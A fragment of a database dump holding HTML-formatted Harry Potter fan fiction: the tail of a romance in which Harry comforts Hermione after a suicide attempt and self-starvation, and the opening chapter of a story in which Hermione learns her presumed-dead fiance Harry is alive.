class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He stopped dead.&nbsp;\n&quot;<i style="mso-bidi-font-style:normal">What</i>?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m sorry.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He put her down, holding her at arm\'s length by the\nshoulders.&nbsp; &quot;Sorry for what?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She sighed and looked down at the ground.&nbsp; &quot;Everything.&nbsp; I\'m sorry for trying to kill myself; sorry for writing that\nhorribly long letter; sorry for making you go to the library whenever there was\ntrouble; and most of all, sorry for-mmph!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">No one found out what she was sorry for most of all, for\nHarry had just kissed her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Whoo!&nbsp; Cliffie!&nbsp; It sounds a lot like part of a chapter of\nLily Vance\'s \'A Game of Chance\',&nbsp; but I\nlike it anyway.&nbsp; Nancey (my friend)\nlikes it, too.&nbsp; Sorry for re-naming this\nchapter (and making it so short), but I <i style="mso-bidi-font-style:normal">really</i>\nwanted a cliffie, so I ended it with Harry kissing our dear heroine.&nbsp; So the <i style="mso-bidi-font-style:normal">next</i>\nchapter will be called \'The Kiss.\'</p>\n\n<p class="MsoNormal">Have a great time!</p>\n\n<p class="MsoNormal">~Katz</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">P.S. There\'s a hidden CD title in this chapter.&nbsp; Can you find it?&nbsp; Thousand points to whoever can find it.&nbsp; But, the points don\'t matter.&nbsp;\n:p</p>\n\n\n\n\n\n\n'),
	(149, 3, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Everything.&nbsp; I\'m sorry for trying to kill myself; sorry\nfor writing that horribly long letter; sorry for making you go to the library\nwhenever there was trouble; and most of all, sorry for-mmph!&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">No one found out what\nshe was sorry for most of all, for Harry had just kissed her.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">********************************************************************************</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was cut off as Harry covered her mouth with his\nown.&nbsp; She let out a soft \'mmph\' as he\ndid so.&nbsp; As he kissed her, she wondered\nwhy he was.&nbsp; After two seconds, she\nthrew caution to the winds and kissed him back.&nbsp; Her hands went up encircle his neck and muss his hair.&nbsp; His hands began to roam up and down her\nback.&nbsp; After a moment, she felt his\ntongue running along her lower lip.&nbsp; The\ntemptation was too much, so she opened her mouth and her tongue greeted\nhis.&nbsp; They kissed this way for a few\nmoments before Harry apparently came to his senses and pulled away.&nbsp; Hermione looked at him, confused, panting\nfor breath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Why did you do that?&quot; she asked softly.&nbsp; He just looked down at his shoes and shook\nhis head.&nbsp; &quot;Harry, why did you kiss\nme?&quot; she repeated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I don\'t know.&nbsp;\nIt was an impulse.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What do you mean, an impulse?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well, you were talking, and all of the sudden, this\nlittle voice in my head said, \'kiss her\', so I kissed you.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Gee, and for a minute there I thought you loved me\ntoo,&quot; she murmured softly, looking down at the ground.<i style="mso-bidi-font-style:\nnormal"></i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">Harry was quiet.&nbsp;\n&quot;Don\'t let it get you down,&quot; he said.&nbsp; &quot;Come on, I have to pick you up\nagain.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed.&nbsp;\n&quot;All right.&quot;&nbsp; She\nstepped up to him, and he lifted her up and slung her over his shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So you don\'t love me?&quot; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I didn\'t say that.&nbsp;\nI said I only kissed you because it was an impulse.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Right.&nbsp; In\nother words, you only kissed me to shut me up, or cheer me up, but you don\'t\nactually love me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Are you being difficult on purpose?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Maybe, maybe not.&nbsp;\nYou can\'t tell from that angle.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You <i style="mso-bidi-font-style:normal">are</i> being\ndifficult!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Am I?&nbsp; I didn\'t\nnotice.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry rolled his eyes, but Hermione didn\'t see him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;All right, change of subject.&nbsp; Herm, you\'ve been getting thinner over the\nyear.&nbsp; Is it because of me, or is it\nbecause of Head Girl duties and N.E.W.T.s?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed.&nbsp;\n&quot;I thought you wouldn\'t notice.&nbsp;\nI\'ve been getting thinner to--to make you like me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh, Hermione.&nbsp;\nI do like you.&nbsp; But I don\'t like\nit when you starve yourself.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So you like me fat?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You weren\'t fat!&nbsp;\nYou had a beautiful figure.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So I suppose now you\'re going to make me eat\nsomething.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You bet.&nbsp; As\nsoon as we get to the castle, I\'m marching you into the Great Hall and making\nyou eat something.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well, the least you could do for my dignity is let me\ndown before we go in and just hold my arm.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I suppose I could do that.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Thank you so much, Harry.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They talked this way until they reached the steps leading to\nthe Entrance Hall.&nbsp; At this point, Harry\nset her down on his right, and took hold of her upper arm.&nbsp; They walked into the castle and into the\nGreat Hall.&nbsp; Practically the whole\nschool was there waiting for them, especially Ron.&nbsp; When they walked in, his grin went all the way to his ears.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Look everybody,&quot; he called.&nbsp; &quot;The Head Boy saved the Head\nGirl!&quot;&nbsp; There were cheers all\naround.&nbsp; Hermione and Harry went\nscarlet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Turn him into a newt,&quot; Hermione muttered to\nHarry.&nbsp; &quot;<i style="mso-bidi-font-style:\nnormal">Please</i>.&quot;&nbsp; Harry shook\nhis head and led her over to the Gryffindor table, where they each grabbed a\nnapkin and some sandwiches.&nbsp; Hermione\ntook three, and Harry took seven.&nbsp; After\nseeing how many she had taken, he added two more to her stack.&nbsp; She glared at him.&nbsp; He raised his eyebrows.&nbsp;\nShe sighed.&nbsp; &quot;Okay, let\'s\nget out of here.&quot;&nbsp; Harry nodded and\nled her out of the Great Hall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m just going to hold your arm on the way to\nDumbledore\'s office, okay?&nbsp; I don\'t want\nto have to carry you up all those stairs.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s perfectly fine with me,&quot; Hermione said,\nbiting into a sandwich.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And so, they walked up to Dumbledore\'s office.&nbsp; Upon arriving in front of the gargoyle,\nHarry finished off his last sandwich and said, &quot;Bright blue donkeys.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The gargoyle came to life and jumped aside.&nbsp; They walked up to the office and knocked on\nthe door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Come in, Mr. Potter,&quot; called a voice.&nbsp; They entered.&nbsp; Dumbledore sat behind his desk, reading a long scroll of\nparchment.&nbsp; He looked up, setting the\nparchment down.&nbsp; &quot;I see you saved\nher,&quot; he said with a smile.&nbsp; Harry\nnodded.&nbsp; &quot;If I may have a word with\nMiss Granger alone?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Of course, Professor,&quot; Harry said, exiting the\nroom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Have a seat, Hermione.&quot;&nbsp; Hermione sat down in one of the chairs.&nbsp; &quot;Now, may I ask what prompted you to attempt suicide?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m in love with Harry, sir.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And he doesn\'t love me back.&nbsp; I was so distressed about it, it led me to suicide.&nbsp; I could not bear to live and watch him date\nother girls.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Miss Granger, this is most unlike you.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled dreamily.&nbsp;\n&quot;Sometimes love makes us do the craziest things.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ve been thinking about making precautionary\nmeasures....&#8221; Dumbledore trailed off.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Precautionary measures for what, sir?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;To make sure you do not attempt what you just\nattempted again.&nbsp; From now on, you will\nbe under Harry\'s eye 24/7.&nbsp; I will have\nthe house elves move your bed and wardrobe into Harry\'s room.&nbsp; Your room will become sort of a sitting\nroom.&nbsp; You will both share the same\nbathroom.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Sir, don\'t you think this is a bit harsh?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Not at all, Miss Granger.&nbsp; Please tell Harry to come back in.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She did so, and waited while Dumbledore explained the new\nprocedures to him.&nbsp; Then Dumbledore\nhanded them each a watch, though they both were different.&nbsp; Hermione\'s was simply a timepiece.&nbsp; Harry\'s, however, was a timepiece and a\nmonitor.&nbsp; If he pressed the little\nbutton on the side, words flashed across the screen: Hermione is sitting in\nProfessor Dumbledore\'s office.&nbsp; She is\nfeeling somewhat depressed, yet content.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry, since you are now Hermione\'s \'personal\nbodyguard\', you must know what she is doing at all times.&nbsp; The background color of the watch will tell\nyou if she is in any danger.&nbsp; Blue means\nshe is perfectly safe, green is a little trouble, yellow is normal, such as an\nencounter with Mr. Malfoy, orange is semi-dangerous, and red is lethal, or\nlife-endangering.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded.&nbsp;\n&quot;So I just look at it, and then I can press the button to see\nwhat\'s wrong.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Exactly.&nbsp; Now,\nif you\'d like, you can leave, unless you\'d like to talk more about this.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione shook her head.&nbsp;\n&quot;No thank you, sir.&quot;&nbsp;\nThey rose.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Have a nice rest of the day.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Of course, sir,&quot; replied Harry.&nbsp; They left.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(150, 1, '\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center"><b style="mso-bidi-font-weight:\nnormal">Chapter 1:\nFrom the Bottom of My Broken Heart<i style="mso-bidi-font-style:normal"></i></b></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">***</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">Never look back, </i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">They say</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">How was I to know?</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">I&#8217;d miss you so?</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Britney Spears &#8216;From\nThe Bottom of My Broken Heart&#8217;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">~~~~~</p>\n\n<p class="MsoNormal">Hermione woke that morning to the buzzing of her alarm clock with\na splitting headache. She sighed and glared at the picture of her and the\nsmiling young man. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She jumped out of bed, which only made her head throb more and\nyelled at the picture, &quot;Why must you torment me? It isn&#8217;t as if I&#8217;ve had\nenough tragedies in my life, and then you go running off and get yourself\nkilled!<i style="mso-bidi-font-style:normal">&#8221; </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">The only response was the continuous smiling of the picture. That\nsmiling annoyed her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stop smiling at me! Look at what you&#8217;ve done to me! After you\ndied, I snapped my wand, quit my job, and became a Muggle!&#8221; She was now\nscreaming. &#8220;And I DO care! I&#8217;m a bloody secretary! Do you honestly think that&#8217;s\nwhat I dreamt of? What I <i style="mso-bidi-font-style:normal"><u>really</u></i>\ndreamt of was getting married to you. Which I was, and it was the best time of\nmy life! I dreamt of having five children, living a healthy and prosperous\nlife, and dying peacefully in my sleep! And look at me! I&#8217;m single, almost\ntwenty six, and I&#8217;ve become even more of a neat freak, mainly because I haven&#8217;t\ngot anyone to coax me out of cleaning this whole bloody house with antiseptic!&quot;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At this, Hermione broke down and began to sob. All the while the\nvoice in the back of her head jostled with her. <i style="mso-bidi-font-style:\nnormal">If you&#8217;d only get out more, you wouldn&#8217;t be such a neat freak</i>, it\nsaid. <i style="mso-bidi-font-style:normal">It isn&#8217;t his fault. It&#8217;s yours. And\nnow, look where your hatred for that poor boy has gotten you. If it weren&#8217;t for\nTonya, Aaron, Michelle, Natalie, and Shannon, you&#8217;d have a pretty downcast\nlife. If you really want to reconcile your feelings for him, then you should\nbetter get rid of your wizarding stuff up in the attic. </i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed and slowly tried to calm herself down. Once that\nwas at least somewhat achieved, she went over to her closet, where she picked a\nlight gray suit and a white blouse for work. She quickly showered, dressed, and\nmade herself breakfast. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Some five minutes later, while Hermione was eating her solitary\nbreakfast, the doorbell rang. She reluctantly got up to go answer it. After\nlooking through the peephole to make sure it was the really postman and no\nmystery demon, she slowly opened the door. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;May I help you?&quot; She asked the man curtly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yes. I&#8217;ve got a strictly confidential letter and package\nhere for a Miss Hermione A. Granger,&quot; the postman replied. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;This is her.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I&#8217;ll need some ID.&quot; At this, Hermione retrieved and\nheld out her driver&#8217;s license. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;All right, If you&#8217;ll sign here, ma&#8216;am.&quot; He held out a\nclipboard and a pen. She swiftly signed it and accepted the package and letter.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Thank you.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You&#8217;re welcome.&quot; And with a flourish, the postman\nseemed to disappear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She slowly shut the door, and put the other mail on the table.\nWith hands shaking, and a heart full of dread she opened the letter. She read\nit aloud in a whisper.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:\nnormal">Dear Miss Granger:</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">It is to my knowledge that you believe that your fianc&#233;, Harry J.\nPotter, is dead. That is very much untrue. He is alive and well, and will be\ncoming to your house on the afternoon of Saturday, September 12. He will arrive\nat about three o&#8217; clock. Please have a room ready for him. He has sent this\npackage and a note, which is enclosed.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Yours truly,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Percy Weasley</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Minister of Magic</i>.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She stared at the letter. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No,&quot; she whispered. &quot;He&#8217;s dead.&#8221; <i style="mso-bidi-font-style:normal">And if he isn&#8217;t, isn&#8217;t he a little behind\nschedule? </i>she thought. <i style="mso-bidi-font-style:normal">It&#8217;s been four\nyears</i>. &#8220;I won&#8217;t believe that he&#8217;s alive. I won&#8217;t,&quot; she added aloud.\nHermione then reached for the package, which was rather small, and opened it.\nShe pulled out the piece of parchment and sat down with the package next to\nher.</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Dearest Hermione,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">I know you believe me to be dead, and I know that you&#8217;re now\nliving as a Muggle. You snapped your wand, and, if I am correct, disposed of\nany magical objects within your possession. </i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ha!&quot; She couldn&#8217;t believe what a load of crap this was.\nIt was most definitely a cruel joke. But she read on anyhow.</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Hermione, you can pretend to be a Muggle, and hide from the\nwizarding world, but you can&#8217;t hide from me. Why? Because. I LOVE YOU. I&#8217;m\nsorry that I allowed you to think I was dead, but Voldemort was after me, and I\ndidn&#8217;t want you harmed.</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">Hermione, I sent you this package as a token of my\nlove. Do you remember the watch you gave me, on Christmas in our seventh year?\nThe one that had, inscribed on the back: </i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">&#8216;Harry- My love to you forever and always. </i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">Love, Hermione&#8217;? </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Well, I&#8217;m giving it back to you.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">My love to you forever and always,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry James Potter</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Unbelieving, Hermione bit her lip to hold back the usual flow of\ntears that came whenever she thought of Harry. Then she went into the kitchen\nto call work. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hello, Granger Dentistry,&quot; pleasant female voice\nanswered. Hermione smiled through the tears that were flowing down her face.\nThe speaker was Tonya, her best friend. She had a little brother and a younger\nsister living with her in a three-bedroom apartment. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hey, Tonya? It&#8217;s me, Hermione. Look, I can&#8217;t come in to work\ntoday.&quot; she said in a shaky voice. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh, hi! Why can&#8217;t you come in? Family prob-oh,&quot;-she had\njust realized the reason of her shaky voice-&quot;Harry, right?&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yes.&quot; Hermione replied, voice thick with tears. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh. Okay. Listen, can I come over later to console you over\nthe loss of your dear husband to be four years ago?&quot; Hermione gritted her\nteeth. Tonya always loved to joke around, and she was pleasant all the time.\nSometimes it was just conveniently very annoying. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yes, of course. Go ahead. Don&#8217;t forget to tell Mum and Dad I\nwon&#8217;t be there. Just say it&#8217;s love problems. If they ask what kind, just say\nit&#8217;s my business. They know that I like to have my privacy.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Okay. Bye. I&#8217;ll be over at about five. Aaron and Michelle\nwill have to fend for themselves. See you later.&quot; </p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">Click.\n</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione hung up the phone and went back into the living room to\nlook at Harry&#8217;s package. She pulled out a red velvet box, opened it, and gasped\nat what she saw.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A glittering gold watch, which looked like it was just made.\nHermione carefully took it out of the box and turned it over. Yes, there was\nthe inscription. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:normal">My love to you forever and\nalways</i>,&quot; she whispered. &quot;Bah. I give the most famous guy in the\nwizarding world my love, and look where it&#8217;s gotten me.&quot; She put the watch\nback, then went into her study to check her e-mail.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Let&#8217;s see&#8230;. Tonya&#8212;a card saying get well soon and a load of\nspam. Humph!&quot; She quickly got off the Internet and decided to put on some\nwork clothes and clean the attic. As she walked up the stairs, she thought of\nHarry. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i style="mso-bidi-font-style:normal">I really can&#8217;t believe\nPercy would do that. Honestly! Harry&#8217;s dead, not alive</i>!&#8217; She sighed as she\nopened the door. Stepping into the attic, she looked around. A trunk sat in the\ncorner, covered with a thick layer of dust. Hermione walked over to it slowly\nand lifted the lid. She carefully lifted out a picture that lay on top. It was\na picture of her, Harry, Ron, and Ginny.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;God, I miss you guys so much,&quot; she whispered, holding\nthe picture to her chest. How could she have ever left them? How could she have\ndeserted her friends? How? The more she thought about them, the more she wanted\nto go back. Back to the wizarding world. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione mentally shook herself. &quot;I\'m not going back,&quot;\nshe decided aloud. &quot;I swear it upon this trunk.&quot; She knew she ought\nto get rid of the trunk, but.... it had too many good memories.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh, Her-my-oh-nee!&quot; A voice yelled from the bottom of\nthe stairs, stressing every syllable of her name. Hermione quickly replaced the\npicture and locked the trunk, pretending to be dusting. There were loud\nfootsteps. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Geeze Louise, it\'s dusty up here,&quot; Tonya said as her\nhead appeared. &quot;No wonder you keep the door to the attic-Hey, what\'s\nthat?&quot; She had just spotted the trunk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Just something my mum gave to me a while back,&quot;\nHermione replied casually, dusting off the window.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It looks really old. Is it antique?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What\'s inside?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Nothing special. End of discussion about trunk.&quot; There\nwas a tone of finality in her voice that made Tonya shut up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Go get the broom,&quot; Hermione ordered. Tonya went and got\nit. &quot;Now, sweep the floor.&quot; Tonya swept.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They cleaned the house for the rest of the day.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A week later, the house was sparkling. Literally. Tonya, in\npreparation of the wonderful return of Hermione\'s once thought to be dead\nfianc&#233; had put up tinsel. </p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><i style="mso-bidi-font-style:\nnormal">Tinsel.\n</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione had always thought her friend was a bit messed up. Now\nshe was sure of it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Tonya, what is it with you and tinsel?&quot; she asked from\nthe kitchen, where she was making them a late lunch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I dunno, I just like it,&quot; Tonya replied. The doorbell\nrang.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Can you get that? I\'m a little busy.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah, sure.&quot; Tonya went to the door and opened it. Then\nshe could be heard saying, &quot;Sweet Mary, mother of God.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Who is it?&quot; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s....&quot; Tonya gulped. &quot;I think it\'s him.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well, show him in; have him sit down,&quot; Hermione\nreplied. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She heard Tonya bring him in and 